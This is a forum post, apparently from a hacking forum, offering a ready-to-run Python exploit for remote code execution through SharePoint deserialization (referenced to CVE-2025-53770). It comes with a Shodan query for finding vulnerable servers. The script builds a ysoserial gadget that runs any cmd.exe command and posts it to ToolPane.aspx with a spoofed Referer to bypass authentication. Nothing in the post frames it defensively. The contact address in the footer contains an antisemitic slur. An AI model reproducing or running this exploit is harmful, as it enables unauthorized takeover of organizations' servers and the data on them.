07-27-2025, 05:39 PM
(This post was last modified: 07-27-2025, 05:41 PM by antisocial.)
Shodan query: "MicrosoftSharePointTeamServices port:"80,443" http.component:"Microsoft SharePoint" "
Description:
Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an unauthorized attacker to execute code over a network.
References:
https://www.cisa.gov/news-events/alerts/...2025-53770
#!/usr/bin/env python3
import requests
import sys
import subprocess
import gzip
import urllib3
import base64
from urllib.parse import urlparse, urlencode
urllib3.disable_warnings()
JAR="ysoserial-all.jar"
GADGET="CommonsCollections6"
def generate_payload(cmd):
escaped=cmd.replace('"','\\"')
data=subprocess.check_output(["java","-jar",JAR,GADGET,f'cmd.exe /c {escaped}'])
comp=gzip.compress(data)
return base64.b64encode(comp).decode()
def main():
if len(sys.argv)!=3:
print("Usage: exploit.py <target> <command>")
sys.exit(1)
target,cmd=sys.argv[1],sys.argv[2]
print(f"
[*]Generating payload for: {cmd}")
payload=generate_payload(cmd)
print("
[*]Sending exploit")
ok,code=send_exploit(target,payload)
if ok:
print(f"[+] Exploit sent to {target}")
else:
print(f"[-] Failed ({code}) on {target}")
def send_exploit(url,payload):
if not url.startswith(("http://","https://")):
url="https://"+url
p=urlparse(url)
host=p.netloc
target=f"{p.scheme}://{host}/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx"
body={"MSOTlPn_DWP":f"""<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<asp:UpdateProgress runat="server" DisplayAfter="10">
<ProgressTemplate>
<Scorecard:ExcelDataSet CompressedDataTable="{payload}" runat="server" />
</ProgressTemplate>
</asp:UpdateProgress>"""}
hdr={"Host":host,"User-Agent":"Mozilla/5.0","Content-Type":"application/x-www-form-urlencoded","Referer":f"{p.scheme}://{host}/_layouts/SignOut.aspx"}
r=requests.post(target,data=urlencode(body),headers=hdr,verify=False)
return r.status_code==200,r.status_code
if __name__=="__main__":
main()PGP ARCHIVE
contact: i@hateje.ws
contact: i@hateje.ws
